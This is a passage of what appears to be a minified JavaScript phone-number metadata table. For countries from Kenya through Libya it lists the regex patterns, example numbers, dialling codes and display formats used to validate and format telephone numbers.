"1(?:1|5(?:4[018]|5[017])|77|88|9[69])|2(?:2[127]|3[0-269]|4[59]|5(?:[1-3]|5[0-69]|9(?:17|99))|6(?:2|4[016-9])|7(?:[1-35]|8[0189])|8(?:[16]|3[0134]|9[0-5])|9(?:[028]|17))|4(?:2(?:[13-79]|8[014-6])|3[0-57]|[45]|6[248]|7[2-47]|9[29])|5(?:2|3(?:[045]|9(?:[0-58]|6[4-9]|7[0-35689]))|4[0-369]|5[29]|8[02389]|9[0-3])|7(?:2[02-46-9]|34|[58]|6[0249]|7[57]|9(?:[23]|4[0-59]|5[01569]|6[0167]))|8(?:2(?:[1258]|4[0-39]|9[0169])|3(?:[29]|60|7(?:[017-9]|6[6-8]))|49|51|6(?:[0-24]|36[2-57-9]|5(?:[0-389]|5[23])|6(?:[01]|9[178])|7(?:2[2-468]|3[78])|9[0145])|7[0-468]|8[68])|9(?:4[15]|5[138]|7[156]|8[189]|9(?:[1289]|3(?:31|4[357])|4[0178]))|(?:8294|96)[1-3]|2(?:57|93)[015-9]|(?:223|8699)[014-9]|(?:25[0468]|422|838)[01]|(?:48|8292|9[23])[1-9]|(?:47[59]|59[89]|8(?:68|9))[019]"],
"0$1"],[,"(\\d{3})(\\d{2})(\\d{4})","$1-$2-$3",["[14]|[289][2-9]|5[3-9]|7[2-4679]"],"0$1"],[,"(\\d{3})(\\d{3})(\\d{4})","$1-$2-$3",["800"],"0$1"],[,"(\\d{2})(\\d{4})(\\d{4})","$1-$2-$3",["[257-9]"],"0$1"]],[,,"20\\d{8}",,,,"2012345678",,,[10]],,,[,,"00(?:777(?:[01]|(?:5|8\\d)\\d)|882[1245]\\d\\d)\\d\\d|00(?:37|66|78)\\d{6,13}"],[,,"570\\d{6}",,,,"570123456",,,[9]],,,[,,,,,,,,,[-1]]],KE:[,[,,"(?:[17]\\d\\d|900)\\d{6}|(?:2|80)0\\d{6,7}|[4-6]\\d{6,8}",,,,,,,[7,8,9,10]],[,,"(?:4[245]|5[1-79]|6[01457-9])\\d{5,7}|(?:4[136]|5[08]|62)\\d{7}|(?:[24]0|66)\\d{6,7}",
,,,"202012345",,,[7,8,9]],[,,"(?:1(?:0[0-8]|1[0-7]|2[014]|30)|7\\d\\d)\\d{6}",,,,"712123456",,,[9]],[,,"800[02-8]\\d{5,6}",,,,"800223456",,,[9,10]],[,,"900[02-9]\\d{5}",,,,"900223456",,,[9]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"KE",254,"000","0",,,"0",,,,[[,"(\\d{2})(\\d{5,7})","$1 $2",["[24-6]"],"0$1"],[,"(\\d{3})(\\d{6})","$1 $2",["[17]"],"0$1"],[,"(\\d{3})(\\d{3})(\\d{3,4})","$1 $2 $3",["[89]"],"0$1"]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],KG:[,[,,"8\\d{9}|[235-9]\\d{8}",
,,,,,,[9,10],[5,6]],[,,"312(?:5[0-79]\\d|9(?:[0-689]\\d|7[0-24-9]))\\d{3}|(?:3(?:1(?:2[0-46-8]|3[1-9]|47|[56]\\d)|2(?:22|3[0-479]|6[0-7])|4(?:22|5[6-9]|6\\d)|5(?:22|3[4-7]|59|6\\d)|6(?:22|5[35-7]|6\\d)|7(?:22|3[468]|4[1-9]|59|[67]\\d)|9(?:22|4[1-8]|6\\d))|6(?:09|12|2[2-4])\\d)\\d{5}",,,,"312123456",,,[9],[5,6]],[,,"312(?:58\\d|973)\\d{3}|(?:2(?:0[0-35]|2\\d)|5[0-24-7]\\d|600|7(?:[07]\\d|55)|88[08]|9(?:12|9[05-9]))\\d{6}",,,,"700123456",,,[9]],[,,"800\\d{6,7}",,,,"800123456"],[,,,,,,,,,[-1]],[,,,,
,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"KG",996,"00","0",,,"0",,,,[[,"(\\d{4})(\\d{5})","$1 $2",["3(?:1[346]|[24-79])"],"0$1"],[,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["[235-79]|88"],"0$1"],[,"(\\d{3})(\\d{3})(\\d)(\\d{2,3})","$1 $2 $3 $4",["8"],"0$1"]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],KH:[,[,,"1\\d{9}|[1-9]\\d{7,8}",,,,,,,[8,9,10],[6,7]],[,,"23(?:4(?:[2-4]|[56]\\d)|[568]\\d\\d)\\d{4}|23[236-9]\\d{5}|(?:2[4-6]|3[2-6]|4[2-4]|[5-7][2-5])(?:(?:[237-9]|4[56]|5\\d)\\d{5}|6\\d{5,6})",
,,,"23756789",,,[8,9],[6,7]],[,,"(?:(?:1[28]|3[18]|9[67])\\d|6[016-9]|7(?:[07-9]|[16]\\d)|8(?:[013-79]|8\\d))\\d{6}|(?:1\\d|9[0-57-9])\\d{6}|(?:2[3-6]|3[2-6]|4[2-4]|[5-7][2-5])48\\d{5}",,,,"91234567",,,[8,9]],[,,"1800(?:1\\d|2[019])\\d{4}",,,,"1800123456",,,[10]],[,,"1900(?:1\\d|2[09])\\d{4}",,,,"1900123456",,,[10]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"KH",855,"00[14-9]","0",,,"0",,,,[[,"(\\d{2})(\\d{3})(\\d{3,4})","$1 $2 $3",["[1-9]"],"0$1"],[,"(\\d{4})(\\d{3})(\\d{3})","$1 $2 $3",["1"]]],
,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],KI:[,[,,"(?:[37]\\d|6[0-79])\\d{6}|(?:[2-48]\\d|50)\\d{3}",,,,,,,[5,8]],[,,"(?:[24]\\d|3[1-9]|50|65(?:02[12]|12[56]|22[89]|[3-5]00)|7(?:27\\d\\d|3100|5(?:02[12]|12[56]|22[89]|[34](?:00|81)|500))|8[0-5])\\d{3}",,,,"31234"],[,,"(?:6200[01]|7(?:310[1-9]|5(?:02[03-9]|12[0-47-9]|22[0-7]|[34](?:0[1-9]|8[02-9])|50[1-9])))\\d{3}|(?:63\\d\\d|7(?:(?:[0146-9]\\d|2[0-689])\\d|3(?:[02-9]\\d|1[1-9])|5(?:[0-2][013-9]|[34][1-79]|5[1-9]|[6-9]\\d)))\\d{4}",
,,,"72001234",,,[8]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,"30(?:0[01]\\d\\d|12(?:11|20))\\d\\d",,,,"30010000",,,[8]],"KI",686,"00","0",,,"0",,,,,,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],KM:[,[,,"[3478]\\d{6}",,,,,,,[7],[4]],[,,"7[4-7]\\d{5}",,,,"7712345",,,,[4]],[,,"[34]\\d{6}",,,,"3212345"],[,,,,,,,,,[-1]],[,,"8\\d{6}",,,,"8001234"],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"KM",269,"00",,,,,,,,[[,"(\\d{3})(\\d{2})(\\d{2})","$1 $2 $3",
["[3478]"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],KN:[,[,,"(?:[58]\\d\\d|900)\\d{7}",,,,,,,[10],[7]],[,,"869(?:2(?:29|36)|302|4(?:6[015-9]|70)|56[5-7])\\d{4}",,,,"8692361234",,,,[7]],[,,"869(?:48[89]|55[6-8]|66\\d|76[02-7])\\d{4}",,,,"8697652917",,,,[7]],[,,"8(?:00|33|44|55|66|77|88)[2-9]\\d{6}",,,,"8002123456"],[,,"900[2-9]\\d{6}",,,,"9002123456"],[,,,,,,,,,[-1]],[,,"52(?:3(?:[2-46-9][02-9]\\d|5(?:[02-46-9]\\d|5[0-46-9]))|4(?:[2-478][02-9]\\d|5(?:[034]\\d|2[024-9]|5[0-46-9])|6(?:0[1-9]|[2-9]\\d)|9(?:[05-9]\\d|2[0-5]|49)))\\d{4}|52[34][2-9]1[02-9]\\d{4}|5(?:00|2[125-9]|33|44|66|77|88)[2-9]\\d{6}",
,,,"5002345678"],[,,,,,,,,,[-1]],"KN",1,"011","1",,,"([2-7]\\d{6})$|1","869$1",,,,,[,,,,,,,,,[-1]],,"869",[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],KP:[,[,,"85\\d{6}|(?:19\\d|[2-7])\\d{7}",,,,,,,[8,10],[6,7]],[,,"(?:(?:195|2)\\d|3[19]|4[159]|5[37]|6[17]|7[39]|85)\\d{6}",,,,"21234567",,,,[6,7]],[,,"19[1-3]\\d{7}",,,,"1921234567",,,[10]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"KP",850,"00|99","0",,,"0",,,,[[,"(\\d{2})(\\d{3})(\\d{3})","$1 $2 $3",["8"],
"0$1"],[,"(\\d)(\\d{3})(\\d{4})","$1 $2 $3",["[2-7]"],"0$1"],[,"(\\d{3})(\\d{3})(\\d{4})","$1 $2 $3",["1"],"0$1"]],,[,,,,,,,,,[-1]],,,[,,"238[02-9]\\d{4}|2(?:[0-24-9]\\d|3[0-79])\\d{5}",,,,,,,[8]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],KR:[,[,,"00[1-9]\\d{8,11}|(?:[12]|5\\d{3})\\d{7}|[13-6]\\d{9}|(?:[1-6]\\d|80)\\d{7}|[3-6]\\d{4,5}|(?:00|7)0\\d{8}",,,,,,,[5,6,8,9,10,11,12,13,14],[3,4,7]],[,,"(?:2|3[1-3]|[46][1-4]|5[1-5])[1-9]\\d{6,7}|(?:3[1-3]|[46][1-4]|5[1-5])1\\d{2,3}",,,,"22123456",,,[5,6,8,9,10],
[3,4,7]],[,,"1(?:05(?:[0-8]\\d|9[0-6])|22[13]\\d)\\d{4,5}|1(?:0[0-46-9]|[16-9]\\d|2[013-9])\\d{6,7}",,,,"1020000000",,,[9,10]],[,,"00(?:308\\d{6,7}|798\\d{7,9})|(?:00368|[38]0)\\d{7}",,,,"801234567",,,[9,11,12,13,14]],[,,"60[2-9]\\d{6}",,,,"602345678",,,[9]],[,,,,,,,,,[-1]],[,,"50\\d{8,9}",,,,"5012345678",,,[10,11]],[,,"70\\d{8}",,,,"7012345678",,,[10]],"KR",82,"00(?:[125689]|3(?:[46]5|91)|7(?:00|27|3|55|6[126]))","0",,,"0(8(?:[1-46-8]|5\\d\\d))?",,,,[[,"(\\d{5})","$1",["1[016-9]1","1[016-9]11","1[016-9]114"],
"0$1"],[,"(\\d{2})(\\d{3,4})","$1-$2",["(?:3[1-3]|[46][1-4]|5[1-5])1"],"0$1","0$CC-$1"],[,"(\\d{4})(\\d{4})","$1-$2",["1"]],[,"(\\d)(\\d{3,4})(\\d{4})","$1-$2-$3",["2"],"0$1","0$CC-$1"],[,"(\\d{2})(\\d{3})(\\d{4})","$1-$2-$3",["[36]0|8"],"0$1","0$CC-$1"],[,"(\\d{2})(\\d{3,4})(\\d{4})","$1-$2-$3",["[1346]|5[1-5]"],"0$1","0$CC-$1"],[,"(\\d{2})(\\d{4})(\\d{4})","$1-$2-$3",["[57]"],"0$1","0$CC-$1"],[,"(\\d{5})(\\d{3})(\\d{3})","$1 $2 $3",["003","0030"]],[,"(\\d{2})(\\d{5})(\\d{4})","$1-$2-$3",["5"],"0$1",
"0$CC-$1"],[,"(\\d{5})(\\d{3,4})(\\d{4})","$1 $2 $3",["0"]],[,"(\\d{5})(\\d{2})(\\d{3})(\\d{4})","$1 $2 $3 $4",["0"]]],[[,"(\\d{2})(\\d{3,4})","$1-$2",["(?:3[1-3]|[46][1-4]|5[1-5])1"],"0$1","0$CC-$1"],[,"(\\d{4})(\\d{4})","$1-$2",["1"]],[,"(\\d)(\\d{3,4})(\\d{4})","$1-$2-$3",["2"],"0$1","0$CC-$1"],[,"(\\d{2})(\\d{3})(\\d{4})","$1-$2-$3",["[36]0|8"],"0$1","0$CC-$1"],[,"(\\d{2})(\\d{3,4})(\\d{4})","$1-$2-$3",["[1346]|5[1-5]"],"0$1","0$CC-$1"],[,"(\\d{2})(\\d{4})(\\d{4})","$1-$2-$3",["[57]"],"0$1","0$CC-$1"],
[,"(\\d{2})(\\d{5})(\\d{4})","$1-$2-$3",["5"],"0$1","0$CC-$1"]],[,,"15\\d{7,8}",,,,"1523456789",,,[9,10]],,,[,,"00(?:3(?:08\\d{6,7}|68\\d{7})|798\\d{7,9})",,,,,,,[11,12,13,14]],[,,"1(?:5(?:22|33|44|66|77|88|99)|6(?:[07]0|44|6[0168]|88)|8(?:00|33|55|77|99))\\d{4}",,,,"15441234",,,[8]],,,[,,,,,,,,,[-1]]],KW:[,[,,"18\\d{5}|(?:[2569]\\d|41)\\d{6}",,,,,,,[7,8]],[,,"2(?:[23]\\d\\d|4(?:[1-35-9]\\d|44)|5(?:0[034]|[2-46]\\d|5[1-3]|7[1-7]))\\d{4}",,,,"22345678",,,[8]],[,,"(?:41\\d\\d|5(?:(?:[05]\\d|1[0-7]|6[56])\\d|2(?:22|5[25])|7(?:55|77)|88[58])|6(?:(?:0[034679]|5[015-9]|6\\d)\\d|1(?:00|11|6[16])|2[26]2|3[36]3|4[46]4|7(?:0[013-9]|[67]\\d)|8[68]8|9(?:[069]\\d|3[039]))|9(?:(?:[04679]\\d|8[057-9])\\d|1(?:1[01]|99)|2(?:00|2\\d)|3(?:00|3[03])|5(?:00|5\\d)))\\d{4}",
,,,"50012345",,,[8]],[,,"18\\d{5}",,,,"1801234",,,[7]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"KW",965,"00",,,,,,,,[[,"(\\d{4})(\\d{3,4})","$1 $2",["[169]|2(?:[235]|4[1-35-9])|52"]],[,"(\\d{3})(\\d{5})","$1 $2",["[245]"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],KY:[,[,,"(?:345|[58]\\d\\d|900)\\d{7}",,,,,,,[10],[7]],[,,"345(?:2(?:22|3[23]|44|66)|333|444|6(?:23|38|40)|7(?:30|4[35-79]|6[6-9]|77)|8(?:00|1[45]|[48]8)|9(?:14|4[035-9]))\\d{4}",,,,"3452221234",
,,,[7]],[,,"345(?:32[1-9]|42[0-4]|5(?:1[67]|2[5-79]|4[6-9]|50|76)|649|82[56]|9(?:1[679]|2[2-9]|3[06-9]|90))\\d{4}",,,,"3453231234",,,,[7]],[,,"8(?:00|33|44|55|66|77|88)[2-9]\\d{6}",,,,"8002345678"],[,,"(?:345976|900[2-9]\\d\\d)\\d{4}",,,,"9002345678"],[,,,,,,,,,[-1]],[,,"52(?:3(?:[2-46-9][02-9]\\d|5(?:[02-46-9]\\d|5[0-46-9]))|4(?:[2-478][02-9]\\d|5(?:[034]\\d|2[024-9]|5[0-46-9])|6(?:0[1-9]|[2-9]\\d)|9(?:[05-9]\\d|2[0-5]|49)))\\d{4}|52[34][2-9]1[02-9]\\d{4}|5(?:00|2[125-9]|33|44|66|77|88)[2-9]\\d{6}",
,,,"5002345678"],[,,,,,,,,,[-1]],"KY",1,"011","1",,,"([2-9]\\d{6})$|1","345$1",,,,,[,,"345849\\d{4}",,,,"3458491234"],,"345",[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],KZ:[,[,,"(?:33622|8\\d{8})\\d{5}|[78]\\d{9}",,,,,,,[10,14],[5,6,7]],[,,"(?:33622|7(?:1(?:0(?:[23]\\d|4[0-3]|59|63)|1(?:[23]\\d|4[0-79]|59)|2(?:[23]\\d|59)|3(?:2\\d|3[0-79]|4[0-35-9]|59)|4(?:[24]\\d|3[013-9]|5[1-9]|97)|5(?:2\\d|3[1-9]|4[0-7]|59)|6(?:[2-4]\\d|5[19]|61)|72\\d|8(?:[27]\\d|3[1-46-9]|4[0-5]|59))|2(?:1(?:[23]\\d|4[46-9]|5[3469])|2(?:2\\d|3[0679]|46|5[12679])|3(?:[2-4]\\d|5[139])|4(?:2\\d|3[1-35-9]|59)|5(?:[23]\\d|4[0-8]|59|61)|6(?:2\\d|3[1-9]|4[0-4]|59)|7(?:[2379]\\d|40|5[279])|8(?:[23]\\d|4[0-3]|59)|9(?:2\\d|3[124578]|59))))\\d{5}",
,,,"7123456789",,,[10],[5,6,7]],[,,"7(?:0[0-25-8]|47|6[0-4]|7[15-8]|85)\\d{7}",,,,"7710009998",,,[10]],[,,"8(?:00|108\\d{3})\\d{7}",,,,"8001234567"],[,,"809\\d{7}",,,,"8091234567",,,[10]],[,,,,,,,,,[-1]],[,,"808\\d{7}",,,,"8081234567",,,[10]],[,,"751\\d{7}",,,,"7511234567",,,[10]],"KZ",7,"810","8",,,"8",,"8~10",,,,[,,,,,,,,,[-1]],,"33|7",[,,"751\\d{7}",,,,,,,[10]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],LA:[,[,,"[23]\\d{9}|3\\d{8}|(?:[235-8]\\d|41)\\d{6}",,,,,,,[8,9,10],[6]],[,,"(?:2[13]|[35-7][14]|41|8[1468])\\d{6}",
,,,"21212862",,,[8],[6]],[,,"208[78]\\d{6}|(?:20[23579]|30[24])\\d{7}",,,,"2023123456",,,[10]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"LA",856,"00","0",,,"0",,,,[[,"(\\d{2})(\\d{3})(\\d{3})","$1 $2 $3",["2[13]|3[14]|[4-8]"],"0$1"],[,"(\\d{2})(\\d{2})(\\d{2})(\\d{3})","$1 $2 $3 $4",["30[0135-9]"],"0$1"],[,"(\\d{2})(\\d{2})(\\d{3})(\\d{3})","$1 $2 $3 $4",["[23]"],"0$1"]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,"30[0135-9]\\d{6}",,,,"301234567",,,[9]],,,[,,,,,,
,,,[-1]]],LB:[,[,,"[27-9]\\d{7}|[13-9]\\d{6}",,,,,,,[7,8]],[,,"7(?:62|8[0-7]|9[04-9])\\d{4}|(?:[14-69]\\d|2(?:[14-69]\\d|[78][1-9])|7[2-57]|8[02-9])\\d{5}",,,,"1123456"],[,,"793(?:[01]\\d|2[0-4])\\d{3}|(?:(?:3|81)\\d|7(?:[01]\\d|6[013-9]|8[89]|9[12]))\\d{5}",,,,"71123456"],[,,,,,,,,,[-1]],[,,"9[01]\\d{6}",,,,"90123456",,,[8]],[,,"80\\d{6}",,,,"80123456",,,[8]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"LB",961,"00","0",,,"0",,,,[[,"(\\d)(\\d{3})(\\d{3})","$1 $2 $3",["[13-69]|7(?:[2-57]|62|8[0-7]|9[04-9])|8[02-9]"],
"0$1"],[,"(\\d{2})(\\d{3})(\\d{3})","$1 $2 $3",["[27-9]"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],LC:[,[,,"(?:[58]\\d\\d|758|900)\\d{7}",,,,,,,[10],[7]],[,,"758(?:234|4(?:30|5\\d|6[2-9]|8[0-2])|57[0-2]|(?:63|75)8)\\d{4}",,,,"7584305678",,,,[7]],[,,"758(?:28[4-7]|384|4(?:6[01]|8[4-9])|5(?:1[89]|20|84)|7(?:1[2-9]|2\\d|3[0-3])|812)\\d{4}",,,,"7582845678",,,,[7]],[,,"8(?:00|33|44|55|66|77|88)[2-9]\\d{6}",,,,"8002123456"],[,,"900[2-9]\\d{6}",,,,"9002123456"],[,,,,,,,,,[-1]],
[,,"52(?:3(?:[2-46-9][02-9]\\d|5(?:[02-46-9]\\d|5[0-46-9]))|4(?:[2-478][02-9]\\d|5(?:[034]\\d|2[024-9]|5[0-46-9])|6(?:0[1-9]|[2-9]\\d)|9(?:[05-9]\\d|2[0-5]|49)))\\d{4}|52[34][2-9]1[02-9]\\d{4}|5(?:00|2[125-9]|33|44|66|77|88)[2-9]\\d{6}",,,,"5002345678"],[,,,,,,,,,[-1]],"LC",1,"011","1",,,"([2-8]\\d{6})$|1","758$1",,,,,[,,,,,,,,,[-1]],,"758",[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],LI:[,[,,"[68]\\d{8}|(?:[2378]\\d|90)\\d{5}",,,,,,,[7,9]],[,,"(?:2(?:01|1[27]|2[02]|3\\d|6[02-578]|96)|3(?:[24]0|33|7[0135-7]|8[048]|9[0269]))\\d{4}",
,,,"2345678",,,[7]],[,,"(?:6(?:(?:4[5-9]|5[0-469])\\d|6(?:[024-6]\\d|[17]0|3[7-9]))\\d|7(?:[37-9]\\d|42|56))\\d{4}",,,,"660234567"],[,,"8002[28]\\d\\d|80(?:05\\d|9)\\d{4}",,,,"8002222"],[,,"90(?:02[258]|1(?:23|3[14])|66[136])\\d\\d",,,,"9002222",,,[7]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"LI",423,"00","0",,,"(1001)|0",,,,[[,"(\\d{3})(\\d{2})(\\d{2})","$1 $2 $3",["[2379]|8(?:0[09]|7)","[2379]|8(?:0(?:02|9)|7)"],,"$CC $1"],[,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["8"]],[,"(\\d{2})(\\d{3})(\\d{4})",
"$1 $2 $3",["69"],,"$CC $1"],[,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["6"],,"$CC $1"]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,"870(?:28|87)\\d\\d",,,,"8702812",,,[7]],,,[,,"697(?:42|56|[78]\\d)\\d{4}",,,,"697861234",,,[9]]],LK:[,[,,"[1-9]\\d{8}",,,,,,,[9],[7]],[,,"(?:12[2-9]|602|8[12]\\d|9(?:1\\d|22|9[245]))\\d{6}|(?:11|2[13-7]|3[1-8]|4[157]|5[12457]|6[35-7])[2-57]\\d{6}",,,,"112345678",,,,[7]],[,,"7(?:[0-25-8]\\d|4[0-4])\\d{6}",,,,"712345678"],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,
,,,,,[-1]],[,,,,,,,,,[-1]],"LK",94,"00","0",,,"0",,,,[[,"(\\d{2})(\\d{3})(\\d{4})","$1 $2 $3",["7"],"0$1"],[,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["[1-689]"],"0$1"]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,"1973\\d{5}",,,,"197312345"],,,[,,,,,,,,,[-1]]],LR:[,[,,"(?:[245]\\d|33|77|88)\\d{7}|(?:2\\d|[4-6])\\d{6}",,,,,,,[7,8,9]],[,,"2\\d{7}",,,,"21234567",,,[8]],[,,"(?:(?:(?:22|33)0|555|(?:77|88)\\d)\\d|4(?:240|[67]))\\d{5}|[56]\\d{6}",,,,"770123456",,,[7,9]],[,,,,,,,,,[-1]],[,,"332(?:02|[34]\\d)\\d{4}",
,,,"332021234",,,[9]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"LR",231,"00","0",,,"0",,,,[[,"(\\d)(\\d{3})(\\d{3})","$1 $2 $3",["4[67]|[56]"],"0$1"],[,"(\\d{2})(\\d{3})(\\d{3})","$1 $2 $3",["2"],"0$1"],[,"(\\d{2})(\\d{3})(\\d{4})","$1 $2 $3",["[2-578]"],"0$1"]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],LS:[,[,,"(?:[256]\\d\\d|800)\\d{5}",,,,,,,[8]],[,,"2\\d{7}",,,,"22123456"],[,,"[56]\\d{7}",,,,"50123456"],[,,"800[1256]\\d{4}",,,,"80021234"],[,,,,,,,,,[-1]],[,,
,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"LS",266,"00",,,,,,,,[[,"(\\d{4})(\\d{4})","$1 $2",["[2568]"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],LT:[,[,,"(?:[3469]\\d|52|[78]0)\\d{6}",,,,,,,[8]],[,,"(?:3[1478]|4[124-6]|52)\\d{6}",,,,"31234567"],[,,"6\\d{7}",,,,"61234567"],[,,"80[02]\\d{5}",,,,"80012345"],[,,"9(?:0[0239]|10)\\d{5}",,,,"90012345"],[,,"808\\d{5}",,,,"80812345"],[,,"70[05]\\d{5}",,,,"70012345"],[,,"[89]01\\d{5}",,,,"80123456"],"LT",370,"00","0",,,"[08]",
,,,[[,"(\\d)(\\d{3})(\\d{4})","$1 $2 $3",["52[0-7]"],"(0-$1)",,1],[,"(\\d{3})(\\d{2})(\\d{3})","$1 $2 $3",["[7-9]"],"0 $1",,1],[,"(\\d{2})(\\d{6})","$1 $2",["37|4(?:[15]|6[1-8])"],"(0-$1)",,1],[,"(\\d{3})(\\d{5})","$1 $2",["[3-6]"],"(0-$1)",,1]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,"70[67]\\d{5}",,,,"70712345"],,,[,,,,,,,,,[-1]]],LU:[,[,,"35[013-9]\\d{4,8}|6\\d{8}|35\\d{2,4}|(?:[2457-9]\\d|3[0-46-9])\\d{2,9}",,,,,,,[4,5,6,7,8,9,10,11]],[,,"(?:35[013-9]|80[2-9]|90[89])\\d{1,8}|(?:2[2-9]|3[0-46-9]|[457]\\d|8[13-9]|9[2-579])\\d{2,9}",
,,,"27123456"],[,,"6(?:[269][18]|5[1568]|7[189]|81)\\d{6}",,,,"628123456",,,[9]],[,,"800\\d{5}",,,,"80012345",,,[8]],[,,"90[015]\\d{5}",,,,"90012345",,,[8]],[,,"801\\d{5}",,,,"80112345",,,[8]],[,,,,,,,,,[-1]],[,,"20(?:1\\d{5}|[2-689]\\d{1,7})",,,,"20201234",,,[4,5,6,7,8,9,10]],"LU",352,"00",,,,"(15(?:0[06]|1[12]|[35]5|4[04]|6[26]|77|88|99)\\d)",,,,[[,"(\\d{2})(\\d{3})","$1 $2",["2(?:0[2-689]|[2-9])|[3-57]|8(?:0[2-9]|[13-9])|9(?:0[89]|[2-579])"],,"$CC $1"],[,"(\\d{2})(\\d{2})(\\d{2})","$1 $2 $3",["2(?:0[2-689]|[2-9])|[3-57]|8(?:0[2-9]|[13-9])|9(?:0[89]|[2-579])"],
,"$CC $1"],[,"(\\d{2})(\\d{2})(\\d{3})","$1 $2 $3",["20[2-689]"],,"$CC $1"],[,"(\\d{2})(\\d{2})(\\d{2})(\\d{1,2})","$1 $2 $3 $4",["2(?:[0367]|4[3-8])"],,"$CC $1"],[,"(\\d{3})(\\d{2})(\\d{3})","$1 $2 $3",["80[01]|90[015]"],,"$CC $1"],[,"(\\d{2})(\\d{2})(\\d{2})(\\d{3})","$1 $2 $3 $4",["20"],,"$CC $1"],[,"(\\d{3})(\\d{3})(\\d{3})","$1 $2 $3",["6"],,"$CC $1"],[,"(\\d{2})(\\d{2})(\\d{2})(\\d{2})(\\d{1,2})","$1 $2 $3 $4 $5",["2(?:[0367]|4[3-8])"],,"$CC $1"],[,"(\\d{2})(\\d{2})(\\d{2})(\\d{1,5})","$1 $2 $3 $4",
["[3-57]|8[13-9]|9(?:0[89]|[2-579])|(?:2|80)[2-9]"],,"$CC $1"]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],LV:[,[,,"(?:[268]\\d|90)\\d{6}",,,,,,,[8]],[,,"6\\d{7}",,,,"63123456"],[,,"23(?:23[0-57-9]|33[0238])\\d{3}|2(?:[0-24-9]\\d\\d|3(?:0[07]|[14-9]\\d|2[024-9]|3[0-24-9]))\\d{4}",,,,"21234567"],[,,"80\\d{6}",,,,"80123456"],[,,"90\\d{6}",,,,"90123456"],[,,"81\\d{6}",,,,"81123456"],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"LV",371,"00",,,,,,,,[[,"(\\d{2})(\\d{3})(\\d{3})","$1 $2 $3",
["[269]|8[01]"]]],,[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],,,[,,,,,,,,,[-1]]],LY:[,[,,"[2-9]\\d{8}",,,,,,,[9],[7]],[,,"(?:2(?:0[56]|[1-6]\\d|7[124579]|8[124])|3(?:1\\d|2[2356])|4(?:[17]\\d|2[1-357]|5[2-4]|8[124])|5(?:[1347]\\d|2[1-469]|5[13-5]|8[1-4])|6(?:[1-479]\\d|5[2-57]|8[1-5])|7(?:[13]\\d|2[13-79])|8(?:[124]\\d|5[124]|84))\\d{6}",,,,"212345678",,,,[7]],[,,"9[1-6]\\d{7}",,,,"912345678"],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],[,,,,,,,,,[-1]],"LY",218,"00","0",
